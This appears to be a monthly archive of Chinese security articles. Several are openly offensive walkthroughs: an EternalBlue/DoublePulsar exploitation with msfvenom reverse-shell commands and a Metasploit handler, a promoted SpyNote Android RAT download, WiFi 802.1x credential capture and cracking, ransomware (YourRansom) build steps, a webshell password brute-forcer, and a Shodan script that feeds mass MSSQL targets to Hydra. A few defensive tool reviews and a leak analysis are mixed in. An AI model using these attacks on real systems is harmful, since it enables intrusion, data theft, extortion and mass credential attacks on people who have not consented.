月度归档:2017年04月

Linux系统安全检查工具Lynis 2.4.8发布

Lynis是一个为系统管理员提供的 Linux和Unix的审计工具 。 

Lynis扫描系统的配置,并创建概述系统信息与安全问题所使用的专业审计,同时它也是一款开源审计工具,Lynis能够运行在几乎所有的Unix版本上,例如可在AIX、FreeBSD、HP-UX、Linux、Mac OS、NetBSD、OpenBSD、Solaris等系统环境下运行。甚至还可以运行在Raspberry Pi(树莓派)或者QNAP的存储设备上。值得注意的是,该工具由一系列的shell脚本构成,并具备通用性公开许可证(GPL)。

当Lynis开始扫描系统,它就会执行许多类别的审查工作:包括系统工具,内核,内存和进程,用户、用户组和验证,同时还有文件系统、存储、数据库、日志和文件等等。因为lynis内置一个检查列表,所以它执行的非常详细,就像政府部门的审计工作一样,非常的细致。但是需要定期执行,并及时修补指出的问题,才能保证网站的高安全性。

支持系统

Lynis几乎没有任何的依赖,可以直接运行于大多基于Unix的操作系统中,包括:

  • AIX
  • FreeBSD
  • HP-UX
  • Linux
  • Mac OS
  • NetBSD
  • OpenBSD
  • Solaris
  • 其他(包括树莓派)

运行流程

选择操作系统

搜索需要使用的安全检查/审计工具

检查最新升级

运行可用插件

分类别运行安全检测

输出报告

使用场景

  • 安全审计
  • 安全合规 (PCI, HIPAA, SOx)
  • 漏洞检测和扫描
  • 系统增强

最新更新

Lynis 2.4.8 (2017-03-29)

Changes:

* More PHP paths added

* Minor changes to text

* Show atomic test in report

Tests:

——

* MAIL-8820 – New Postfix configuration check

* TOOL-5002 – Extended Puppet detection

下载地址

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

工具下载

1、Python2.6和pywin32安装包(注意都是32位的,不然会导致调用dll payload文件失败):

复现python和pywin32安装包 (分流下载:http://pan.baidu.com/s/1jHKw0AU 密码:kuij)

2、Shadowbroker放出的NSA攻击工具

https://github.com/misterch0c/shadowbroker

3、中招检查工具

中招检查工具 (分流下载:http://pan.baidu.com/s/1dETugox 密码:una3)

注:检查工具已重写了(各有所需,你可以根据自己需要修改)

一、 漏洞复现

1.    前期准备

攻击系统信息列表如下:

IP 系统信息 用途 备注
192.168.0.102 Windows 7旗舰版 攻击机器 需安装python2.6.6&pywin32
192.168.0.104 Kali linux 2 用于生成攻击payload(反弹shell等)和控制反弹的shell会话 生成reverse shell 的dll
192.168.0.103 Windows xp p3 靶机 开启SMB服务,445端口(默认开启,默认防火墙已经过滤该类攻击,建议关闭系统防火墙后测试)

在攻击机器中安装好python 2.6.6和pywin32,并设置好python的环境变量,以便我们在cmd中使用。

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

然后生成用于反弹shell的dll payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=8089 -f dll > reverser_tcp.dll

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

在靶机上开启SMB服务(默认开启),查看服务是否生效,即看靶机上的445端口是否在监听(netstat -ano):

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

2.    工具使用

在win 7攻击机器上cmd中切换到windows目录输入:python fb.py

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

创建攻击项目日志目录文件夹log_dirs并设置针对攻击目标192.168.0.103的攻击日志目录

然后输入:user eternalblue

一路回车直到需要选择对应的攻击系统,如下图:

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

选择1使用常规部署方式(也就是在靶机上建立后门的部署方式,带有模糊测试)

然后一路回车到确认攻击目标信息。

接着使用use doublepulsar,然后一直回车直到如下图需要选择攻击的服务类型:

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

备注:作者截图错误,图中的192.168.0.105应为192.168.0.103

我们攻击的服务类型是SMB,所以输入0,但是如果下次攻击的远程登陆,即RDP的时候输入1

然后选择攻击系统的版本:

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

这里我们输入与靶机对应的系统版本,输入1.

然后,需要选择想执行的动作:

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

这里我们输入2,执行由kali linux 2 msf生成的反弹shell的dll后门(放在C盘根目录):

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

回到win 7 攻击机器上设置好对应的反弹shell 的dll文件(payload)路径。

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

然后在Kali linux 2上运行msfconsole:

 # msfconsole

msf > use exploit/multi/handler

msf > set LHOST 168.0.104

msf > set LPORT 8089

msf > set PAYLOAD windows/meterpreter/reverse_tcp

msf > exploit

效果如下图:

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

上图说明了msf在监听本地端口(看是否有反弹的shell返回,并控制反弹的shell会话)。

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

在输入完用于反弹shell的路径后,需要输入反弹shell需要注入的进程和命令行进程,由于已经有默认设置,我们直接回车就好了(当然,在真实攻击中,最好是注入到其他进程中)

回车后发现已在攻击机器上成功执行并反弹了shell到Kali linux2机器上:

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

看到已成功利用了(即获取到winxp 靶机的cmd 会话权限):

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

成功控制靶机(能够以管理员权限控制住机器):

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

二、 中招检查方法

将中招检查工具转到想要检查的机器(需要python环境)上,通过cmd进入到工具所在目录:

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

运行python detect_doublepulsar_by_c4td0g.py 进行检查(默认检查本地(127.0.0.1):

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

看到上图的DOUBLEPULSAR DETECTED!!!说明已经中招!

本次shadowbroker放出的工具影响情况如下:

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

三、 总结

1、有人说写这个工具的人(NSA的人)编程水平不咋地?   

2、有人说这是13年泄露的?   

3、有人说不会用!?

思考时间:   

1、很多东西实用就好,这是有针对性的;   

2、源码里已说是12年开发的(或许更早);

ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

3、坐等大牛写文章;   

4、看了源码还有些目录不存在,说明还有戏看!   

5、NSA在12年就写出了这样的工具,现在他们有的工具是什么样的?

*本文投稿作者:常运,转载请注明来自FreeBuf.COM

当心,安卓远控(spynote)升级了……

*原创作者:永生,本文属Freebuf原创奖励计划,未经许可禁止转载

最近在某国外论坛上流出一款安卓远控spynote3.2版本,以前freebuf上有人发过spynots2.4版的,不过现在已经升级了,功能变得更加强大,危害更严重。     

和以前的几个android远控相比(droidjack,android RAT,dendroid)相比,此次的更新亮点不多,只不过是对现在的安卓升级版本的跟进而已。

    软件要求:windows系统+.net framework4.5版本以上+java环境

    目标手机:android2.3版本以上。

   当心,安卓远控(spynote)升级了……

软件生成小马界面:

当心,安卓远控(spynote)升级了……

可以看到,和以往的远控一样,做好端口映射,定制图标,包名,版本号等等,还可以和别的apk文件捆绑,不过经测试好像有bug,并不能正常使用。生成带木马的apk文件,安装之后上线。

基本功能:

1、可以生成一个APK,绑定在被控手机的任何APP上

2、可在电脑端控制手机,包括浏览、传输、删除文件等

3、可进行SMS短信收发和查看功能

4、可以控制手机的电话功能

5、联系人管理

6、麦克风监听

7、GPS定位

8、APP管理

9、文件管理

10、查看手机系统信息

11、命令行控制

当心,安卓远控(spynote)升级了……

软件安装后双击会自动隐藏图标,经测试,在安卓6.0一下系统运行稳定,不过在7.0以上版本就不稳定,如xiaomi5(android7.0)运行时只能上线不到一分钟时间被系统杀死掉线。那怎么办呢?我先留个坑,后续再填。

安全警示:最好别下载非应用市场的软件,并且一定要注意软件的权限,能不给的就不给,看他能把你咋地。

下载地址:http://url.cn/47TQ1Sm(请自己检查软件安全性!!!)

*原创作者:永生,本文属Freebuf原创奖励计划,未经许可禁止转载    

使用Kali Nethunter破解802.1x安全性WiFi

*本文原创作者:ya0guang,本文属FreeBuf原创奖励计划,未经许可禁止转载

使用Kali Nethunter破解802.1x安全性WiFi

背景

笔者学校的无线网络采用1x认证方式,所以你懂的。之前参考GitHub上的一个项目在Kali2.0上部署成功,但是在手机端的情况比较不同,猜测是因为架构有一定区别所导致的,而且该网页上的Hostapd版本比较低,遂继续查找,找到了aircrack-ng的GitHub的某一个页面上展示了Hostapd-wpe的用法(详情查看

页面上写的比较详细,但是实践中笔者还是踩了不少坑,下面开始:(注意:本文在Kali 2.0及以上的版本中应该也适用!但是本人没有测试,还请测试通过的朋友留个言)

依赖

pkg-confi

libssl 1.0

libnl3 (and genl)

sqlite3

安装依赖

apt-get install 

libssl1.0-dev 

libnl-genl-3-dev 

libnl-3-dev 

pkg-config 

libsqlite3-dev

由于手机上敲指令过于蛋疼,笔者自己ssh到了手机上,在Kali的应用中可以直接打开SSH服务。

用ftp或者wget之类的将patch文件下载到手机上,这里笔者的路径是 ~/1x/ ,执行:

注:补丁文件(查看链接)

下载、编译、安装

# 下载

wget http://hostap.epitest.fi/releases/hostapd-2.6.tar.gz

tar -zxf hostapd-2.6.tar.gz

cd hostapd-2.6

# 打补丁


patch -p1 < ../hostapd-wpe.patch

cd hostapd

# 编译安装


make

make install

make wpe

制作证书

cd /etc/hostapd-wpe/certs
./bootstrap
make install

这里会出现关于gendh命令未找到的错误,原因是openssl将gendh已经换成了dhparam,在该目录下的Makefile中将gendh替换为dhparam即可。

运行

请注意在Nethunter中已经预先安装了hostapd,但是那个版本的hostapd是不支持1x的。所以请切换到我们部署的hostapd目录下,运行:

./hostapd ./hostapd-wpe.conf

这里的配置文件需要修改,需要修改的地方有:

interface=wlan1
ssid=YOUR_SSID
driver=nl80211
hw_mode=g
#fragm_threshold=-1
#rts_threshold=-1
# 以上两行需要添加注释

之后再运行,即可成功。日志的数据为该目录下的hostapd-wpe.log文件,其记载了用户的用户名和MSCHAPv2认证hash值。

破解

由于采用MSCHAPv2认证,所以密码并不会明文显示。主要有两种方法,其一是直接用系统中的工具asleep进行破解,举个栗子:

asleep

采集到的日志样例:

username: jdslfkjs
challenge: bc:87:6c:48:37:d3:92:6e
response: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0

执行:

$ asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
hash bytes:        b1ca
NT hash:           e614b958df9df49ec094b8730f0bb1ca
password:          bradtest

其中wordlist需要自己准备

hashcat

另一种方法是利用hashcat进行破解,其好处是可以根据掩码实时生产字典爆破而且可以使用GPU+CPU资源进行破解,速度比较科学。

关于hashcat的获取,请去官方网站下载。

hashcat brief introduction

hashcat [选项] ... hash|hashfile|hccapfile [字典|掩码|路径]
-m, --hash-type        /哈希值类型,我们使用5500 NetNTLMv1
-a, --attack-mode      /攻击模式,这里使用3 暴力破解
-d, --opencl-devices   /使用设备,1:CPU 2:GPU 3:FPGA,DSP
-o, --outfile          /输出文件路径-i, --incerment        /掩码破击时使用,设置掩码上下限

笔者这里使用的参数如下,在Windows机器上执行:

./hashcat64.exe -d 1 -a 3 -m 5500 -o "output path" -i --increment-min=1 --increment-max=8 -1 ?l "input filepath" ?1?1?1?1?1?1?1?1

其中,-1 ?l 代表定义1号掩码的格式为所有小写字母,参考掩码表:

? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
s |  !"#$%&'()*+,-./:;=?@[/]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

将之前得到的输出结果按照
username::::response:challenge
的格式存储在文本文档中,注意去掉hash值中的冒号。运行hashcat

后记

为了方便起见,可以将其作为用户定义脚本存储在nethunter的custom command中:

使用Kali Nethunter破解802.1x安全性WiFi

运行截图:

使用Kali Nethunter破解802.1x安全性WiFi

*本文原创作者:ya0guang,本文属FreeBuf原创奖励计划,未经许可禁止转载

1

两款针对Linux系统Rootkit和恶意软件的有用检测工具

两款针对Linux系统Rootkit和恶意软件的有用检测工具

尽管Linux系统可以免受大多数恶意软件的传播感染,但也不是绝对安全的。如果你的数据中心架设有Linux服务器,尤其是网站服务器,则更应该对Rootkit木马和恶意软件严密防范,因为一些数据破坏类Rootkit非常危险,而且攻击者一旦入侵之后就可能会利用网站服务器进行恶意软件传播。如何排除这类风险隐患呢?一种方法就是使用正确的安全检查工具。

我以Ubuntu Server 16.04系统为例,向大家介绍两款针对常规Rootkit和恶意软件的有用检测工具。

针对Rookit的检测工具-chkrootkit

安装

sudo apt-get install chkrootkit

运行程序

sudo chkrootkit

之后,就是等待检测过程慢慢完成

两款针对Linux系统Rootkit和恶意软件的有用检测工具

如果检测之后出现一些Rookit迹象,可以尝试分析一样,因为有些可能是误报,如在Ubuntu Server 16.04服务器上,会出现以下误报:

Searching for Linux/Ebury - Operation Windigo ssh... Possible Linux/Ebury - Operation Windigo installetd

这是一个与openssh-server package包相关的文件,属于误报,可以忽略。如果出现其它Rookit疑似报告,则要引起重视,认真对照chkrootkit的报告进行分析,查找解决问题,因为chkrootkit工具只提供检测,不提供解决或删除方法。

针对Malware的检测工具-ISPProtect

ISPProtect是一款提供针对Linux网站服务器的恶意软件检测收费工具(每月$7.92),但我们可以使用它的试用版本,安装过程如下:

sudo apt-get install php-cli
sudo mkdir -p /usr/local/ispprotect
sudo chown -R root:root /usr/local/ispprotect
sudo chmod -R 750 /usr/local/ispprotect
sudo cd /usr/local/ispprotect
sudo wget http://www.ispprotect.com/download/ispp_scan.tar.gz
sudo tar xzf ispp_scan.tar.gz
sudo rm -f ispp_scan.tar.gz
sudo ln -s /usr/local/ispprotect/ispp_scan /usr/local/bin/ispp_scan

运行程序

sudo ispp_scan

之后,程序提示输入扫描key,如果是试用版本请输入TRIAL:

两款针对Linux系统Rootkit和恶意软件的有用检测工具

下一步,程序将提示输入目标扫描路径,由于ISPProtect是针对网站的扫描工具,所以你必须输入网站的根目录路径,如/var/www,之后,Enter键执行。根据文件多少和数据大小来看,扫描可能会持续时间较长,最后,会给出一个最终检测报告。

两款针对Linux系统Rootkit和恶意软件的有用检测工具

个人推荐可以把该工具设置成每小时自动扫描一次,以sudo nano命令编辑任务列表/etc/cron.d/ispprotect,并复制以下命令进入:

0 * * * * root	/usr/local/ispprotect/ispp_scan --update && /usr/local/ispprotect/ispp_scan --path=/var/www --email-results=EMAIL --non-interactive --scan-key=KEY

以上命令中的EMAIL表示扫描报告发送地址,KEY表示扫描key。–update表示ISPProtect特征库是适时更新的。

如果觉得每小时太过于频繁,你可以在以上命令中进行以下修改:

0 1 * * * – every day at 1 AM

* */2 * * * – every other hour

* */3 * * * – every third hour

扫描最终结果会自动发送到EMAIL中提供的邮箱地址中去。

*参考来源:techrepublic,freebuf小编clouds编译,转载请注明来自FreeBuf.com

CIA Vault7泄露文档第五波:多平台入侵植入和管理控制工具HIVE

CIA Vault7泄露文档第五波:多平台入侵植入和管理控制工具HIVE

最近,NSA和CIA的网络武器都被捅娄子了,4月14日,就在ShadowBroker公布第二批NSA网络大杀器的同一天,维基解密继续公布了Vault7系列名为HIVE(蜂巢)的CIA网络工具相关文档。文档共6份,包括了HIVE的开发使用和配置工作文档等,最早版本记录可追溯到2015年10月。

HIVE是CIA计算机网络行动小组(COG)在执行远程目标任务时使用的一个协助平台,由CIA嵌入式研发部门(EDB)开发,可以提供针对Windows、Solaris、MikroTik(路由器OS)、Linux和AVTech网络视频监控等系统的定制植入程序,并能实现多种平台植入任务的后台控制工作,协助CIA从植入恶意软件的目标机器中以HTTPS协议和数据加密方式执行命令和窃取数据。其自身具备的HTTPS协议接口为网络入侵行为增添了隐蔽掩护性。

曾有一些杀软公司和安全专家通过网络入侵行为,侦测到了一些国家级别的网络攻击活动使用了类似HIVE的攻击架构,但之前却一直无法准确溯源。而就在最近,赛门铁克研究人员通过对vault7文档的调查后发现,CIA可能就是操控运行黑客组织Longhorn的幕后黑手,Longhorn曾对至少16个国家的40个目标系统发起过攻击。赛门铁克报告中对Longhorn的网络攻击架构是这样描述的:

在网络入侵活动中,对远程控制C&C端来说,Longhorn会单独为每个目标分配一个特定的IP和域名组合。有些奇怪的是,为了隐匿身份和行为,这些域名看似是由攻击者自己注册的,但这些IP地址都指向正规VPS和网站托管商。这些入侵活动中涉及的恶意软件,在与远端C&C服务器之间的交流通信却是HTTPS方式,而且使用了自定义的底层加密协议来进行伪装。

此次HIVE工具相关文档的曝光更为之前杀软公司和安全专家的分析提供了佐证。

HIVE工作原理

HIVE的攻击原理为在TCP/UDP协议通信中,执行XOR和其它加密算法,通过军工商诺斯·格鲁曼(Northrop Grumman)研发的代理架构BLOT和一个名为Switchblade的中间架构,在入侵目标与CIA远程控制端进行隐蔽通信和管理控制。其中,所有的C&C通信又通过BLOT架构配置的Apache服务器和域名中转脚本进行回连控制,而且为了增强隐蔽性,所有HIVE使用的IP地址都可以在VPS系统内完成重定向动作。

CIA Vault7泄露文档第五波:多平台入侵植入和管理控制工具HIVE

BLOT架构描述

每一个被植入恶意软件的入侵目标,在与C&C端进行反弹连接时,在VPS系统内由其自身携带的反弹信息被指定适配域名和重定向更改,之后,这些域名流量信息又会到达BLOT的代理通道。由于在VPS系统内经过重定向更改,端口等信标信息都会被重新更改之后发送给BLOT架构,如之前通过80端口连接某域名,那么重定向更改发送给BLOT时,可能就是8001端口。BLOT架构看似就像一个流量中转处理器,当它接收到有效且重要信标后,就会发送给Honeycomb进行后端处理,并且,所有流量最终都会镜像发送至隐蔽的Apache服务器(Cover server)。

CIA Vault7泄露文档第五波:多平台入侵植入和管理控制工具HIVE

Switchblade架构描述

Switchblade是一个能与其它代理服务进行交流通信的认证代理,它使用自签名证书,还能与Nginx和Linux服务器的流量数据进行交互处理,在入侵目标和C&C端服务器(Cover server)之间增加隐蔽性。

CIA Vault7泄露文档第五波:多平台入侵植入和管理控制工具HIVE

HIVE工具相关文档下载:PAN,提取码:qw1t

*本文作者:CYlar & clouds,参考来源:wikileaks转载请注明来自FreeBuf.COM

YourRansom:一个开源的加(le)密(suo)玩(tao)具(jian)

YourRansom 是使用 Golang 编写的一个加密工具,具有加密参数内置、密钥随机生成、在线下载readme文件等功能,设计上参考了【勒索软件】的设计思想。或者换句话说这就是一个自制的学习用的【勒索软件】仿制品。

在下只是个萌新,程序写的也很 naive,请各位大佬轻些疼♂爱。

自行编译

因为 YourRansom 将加密的配置内置在编译后的二进制文件中,所以如果您想要使用自己的 YourRansom ,就需要调整参数并编译一个自己的 YourRansom 。

准备环境

YourRansom 使用 Golang 编写,编译前也需要准备对应的 Golang 环境,或使用 cloud9 等在线环境编译(通常也需要自己装 Golang 环境就是了)。

之后即可通过 go get 从 GitHub 获取 YourRansom 的源文件:go get github.com/YourRansom/YourRansom

配置参数

YourRansom 将配置存储在二进制文件中,但并不是直接存储原数据(曾经是,后来我感觉那样太年轻太简单有时天真,于是改成了如今的模式),而是存储 JSON 格式的配置文件使用 DES 加密后又 base64 得到的字符串。我专门为此提供了一个配置生成器与样板文件:YourRansom/confGen,只需要对着表格将数据填写完成,再执行 confGen 即可获得配置信息。

配置项表:

配置项名 配置说明 备注
PubKey RSA公钥 可使用[生成工具](https://github.com/YourRansom/genKeypair)生成一个RSA密钥对,请注意自行将所有换行替换为/n
Filesuffix 加在被加密文件后的后缀名
KeyFilename 加密后存储Key的文件名
DkeyFilename 解密时用于读取解密Key的文件名
Alert 程序启动时显示的提示信息
Readme 离线readme的内容 仅当在线readme下载失败时生效
ReadmeFilename 离线readme的存储文件名 同上
ReadmeUrl 在线readme的下载地址 留空表示不启用在线readme下载
ReadmeNetFilename 在线readme的存储文件名
EncSuffix 指定要被加密的文件后缀 格式为后缀1|后缀2|后缀3

执行:

$ ./confGen MyRansom example.json

如不报错则说明配置文件已经加密完成,打开原文件名.enc即可得到加密后的配置文件。

使用您的文本编辑器打开$GOPATH/src/github.com/YourRansom/YourRansom/config.go,如果您未设置GOPATH环境变量,那么打开$HOME/go/src/github.com/YourRansom/YourRansom/config.go(Unix-like)或%USERPROFILE%/go/src/github.com/YourRansom/YourRansom/config.go(Windows),将配置文件和加密密钥填入,配置即完成。

编译生成

直接执行命令,生成的二进制文件会直接输出至当前目录:

$ GOOS=[windows|linux|darwin] GOARCH=[386|amd64] go build github.com/YourRansom/YourRansom

考虑到兼容性问题,如果您要为使用 Windows 系统的用户提供服务,建议编译为 win32 程序,如果面向 Linux ,您可能需要编译32位和64位两个版本,而 macOS(darwin)只需要64位版本就够了。

加密解密

直接执行生成的二进制文件即可加密,而解密要复杂得多。

解密需要获得加密是生成的密钥文件,具体文件名取决于配置项KeyFilename,然后使用 PubKey 所对应的私钥和 AES 密钥解密工具 解密该文件,得到一个YourRansom.dkey文件,将其更名为你设置的DkeyFilename配置项。

将解密后的 Dkey 文件至于 YourRansom 同目录下,再次执行 YourRansom 即可解密。

使用在线IDE

如果您不喜欢在本地安装 Golang 环境,只是想简单地将它编译出来尝尝鲜的话,使用 Cloud9 、 Wide 之类的在线环境大概会是一个好选择。

首先在 https://c9.io 注册一个账户并登陆,然后新建一个 Workspace 后即得到了一个在线的编译环境,剩下的操作参考前面的说明即可。

免责声明

该源代码作者不对任何使用该源代码造成的问题(包括但不限于数据损坏)承担责任。

栗子

考虑到无图无真相(大雾),最后特地附个VirusTotal的链接和一张图:

VT扫描先前试发布版本的结果:https://www.virustotal.com/zh-cn/file/a83aafa438085923c2e74e2123ae8f5b8a8044450b189d1b367902f3e7db8976/analysis/

正在加密(时间不会太长):

YourRansom:一个开源的加(le)密(suo)玩(tao)具(jian)

*本文作者:popu111,转载请注明来自FreeBuf.COM

Webshell密码极速爆破工具 – cheetah

0×00 介绍

Cheetah是一款基于字典的webshell密码爆破工具,Cheetah的工作原理是能根据自动探测出的web服务设置相关参数一次性提交大量的探测密码进行爆破,爆破效率是其他普通webshell密码暴力破解工具上千倍。

项目地址:https://github.com/sunnyelf/cheetah

0×01 特点

  • 速度极快
  • 支持批量爆破
  • 自动伪造请求
  • 自动探测web服务设置相关参数
  • 支持读取和去重超大密码字典文件
  • 支持python 2.x和3.x
  • 目前支持php,jsp,asp,aspx类型的webshell

0×02 参数说明

_________________________________________________
       ______              _____         ______
__________  /_ _____ _____ __  /_______ ____  /_
_  ___/__  __ /_  _ /_  _ /_  __/_  __ / __  __ /
/ /__  _  / / //  __//  __// /_  / /_/ / _  / / /
/___/  / / /_/ /___/ /___/ /__/  /____/  / / /_/
      /_/                               /_/

a very fast brute force webshell password tool.

usage: cheetah.py [-h] [-i] [-v] [-c] [-up] [-r] [-w] [-s] [-n] [-u] [-b]
                   [-p [file [file ...]]]

可选参数:
  -h, --help            显示帮助信息并退出
  -i, --info            显示程序信息并退出
  -v, --verbose         启用详细输出模式(默认禁用)
  -c, --clear           去重字典文件(默认禁用)
  -up, --update         更新cheetah
  -r , --request        指定请求方式(默认POST方式)
  -w , --webshell       指定webshell类型(默认自动探测)
  -s , --server         指定web服务器名称(默认自动探测)
  -n , --number         指定一次请求参数的数量(默认自动设置)
  -u , --url            指定webshell url地址
  -b , --url-file       指定批量webshell urls文件
  -p [file [file ...]]  指定多个字典文件(默认使用pwd.list)

使用示例:
  python cheetah.py -u http://orz/orz.php
  python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
  python cheetah.py -u http://orz/orz.asp -r get -c -p pwd.list
  python cheetah.py -u http://orz/orz -w aspx -s apache -n 1000
  python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v

0×03 下载使用

git clone https://github.com/sunnyelf/cheetah.git
python cheetah.py 

0×04 文件说明

cheetah
│  .gitignore
│  cheetah.py           主程序
│  LICENSE
│  pwd.list             默认指定的字典文件
│  README.md
│  update.py            更新模块
│  url.list             默认指定批量 webshell url文件
│  user-agent.list      用户代理文件
│
└─screenshot            使用截图
        1.png
        2.png
        3.png
        4.png

0×05 使用截图

Ubuntu

Webshell密码极速爆破工具 &#8211; cheetah

Windows

Webshell密码极速爆破工具 &#8211; cheetahWebshell密码极速爆破工具 &#8211; cheetahWebshell密码极速爆破工具 &#8211; cheetah

0×06 问题

如果在使用过程中出现了bug欢迎提交issues,我会及时回复并修复。

0×07 参考

让你的一句话爆破速度提升千倍

一种有效的Web指纹识别方法

识别Web服务器 (OTG-INFO-002)

python读GB级大文件

*本文作者:精灵,转载请注明来自FreeBuf.COM

基于ShodanPython库的批量攻击实践

拜读了xiaix关于Shodan的全面介绍:《Shodan新手入坑指南》,受益匪浅。SQL Server的弱口令入侵案例层出不穷,利用工具也大量存在,本文以MSSQL服务器为切入点,以解决批量目标发现为目标,介绍了一种基于Shodan Python库的攻击方法。希望能给有类似需求的同学提供参考。

0×01 基本思路

首先利用Shodan的Python库获取并实时处理MSSQL服务器IP及1434端口Banner,得到IP和MSSQL连接端口的组合列表;然后利用Hydra进行字典口令攻击。

SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。    —— 百度百科-1433端口

0×02 实现脚本

实现过程详见脚本中的注释

# -- coding:utf-8 --
# Python v2.7.10
# MSSQL.py
# Written by Gaearrow

import shodan
import sys

# API_KEY
API_KEY = "YOUR_API_KEY"
query = "product:/"Microsoft SQL Server/""

# 处理输入
if len(sys.argv) != 3:
    print 
    print 'Usage: MSSQL.py <page start:1,2...> <page end:1,2...>'
    sys.exit(1)
pagestart = int(sys.argv[1])
pageend = int(sys.argv[2])

try:
    # 初始化输出文件
    ofilename = 'page'+str(pagestart)+'to'+str(pageend)
    ofilesrc = ofilename+'_src.txt'
    ofileip = ofilename+'_ip.txt'
    fsrc = open(ofilesrc,'w')
    fip = open(ofileip,'w')

    # 统计变量
    numofport = 0
    numofnoport = 0
    rstlist = 0
    
    # 逐页检索
    api = shodan.Shodan(API_KEY)
    rsttotal = api.count(query)
    maxpage = (rsttotal['total']+99)/100
    if pageend > maxpage:
        pageend = maxpage
    for page in range(pagestart,pageend+1):
        result = api.search(query,page)
        for mssql in result['matches']:
            # 从Banner中解析MSSQL的连接端口
            ## 删除换行
            ip = mssql['ip_str'].strip('/n')
            ## Ignore IPv6
            if len(ip) > 15:
                continue
            ## 跳过特殊字符
            banner = mssql['data'][3:]
            ## 检查Banner
            if banner.find('ServerName') < 0:
                continue
            pos = banner.find('tcp;')
            if pos > 0:
                strlist = banner[pos:].split(';')
                if strlist[1].find('np') < 0:
                    ### tcp;1234;np;..
                    ipport = ip+':'+strlist[1]
                    numofport = numofport + 1
                else:
                    ### tcp;np;..
                    ipport = ip+":1433"
                    numofnoport = numofnoport + 1
            else:
                ### no 'tcp;'
                ipport = ip+":1433"
                numofnoport = numofnoport + 1

            print >>fip,ipport
            print >>fsrc,mssql['ip_str']
            print >>fsrc,mssql['data'][3:]
            rstlist = rstlist + 1

    # 打印统计信息
    print >>fsrc,'==================================='
    print >>fsrc,'Shodan Summary Information'
    print >>fsrc,'Query : ', query
    print >>fsrc,'Total Results : ', rsttotal['total']
    print >>fsrc,'List  Results : ', rstlist
    print >>fsrc,'Page  Start   : ', pagestart
    print >>fsrc,'Page  End     : ', pageend
    print >>fsrc,'Port  Assigned   : ',numofport
    print >>fsrc,'Port  Unassigned : ',numofnoport
    print >>fsrc,'==================================='

except Exception as e:
    print 'Error: %s' % e
    sys.exit(1)

fsrc.close()
fip.close()

0×03 执行示例

执行环境

root@kali2:~/app/mssqlnew# uname -a
Linux kali2 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux
root@kali2:~/app/mssqlnew# python -V
Python 2.7.9

获取地址端口组合列表

root@kali2:~/app/mssqlnew# python MSSQL.py 1 10

page1to10_src.txt

基于ShodanPython库的批量攻击实践

基于ShodanPython库的批量攻击实践

page1to10_ip.txt

基于ShodanPython库的批量攻击实践

hydra字典攻击

攻击耗时及成功率与用户、口令字典有紧密关系,网络带宽也影响速度。

root@kali2:~/app/mssqlnew# hydra -L sqluser.dic -P sqlpass.dic -t 30 -M page1to10_ip.txt mssql

0×04 安全建议

设置MSSQL仅限本地连接

修改MSSQL的默认连接端口

分级配置各类数据库用户权限


脚本及字典下载地址:Github Download

*本文作者:gaearrow,转载请注明来自FreeBuf.COM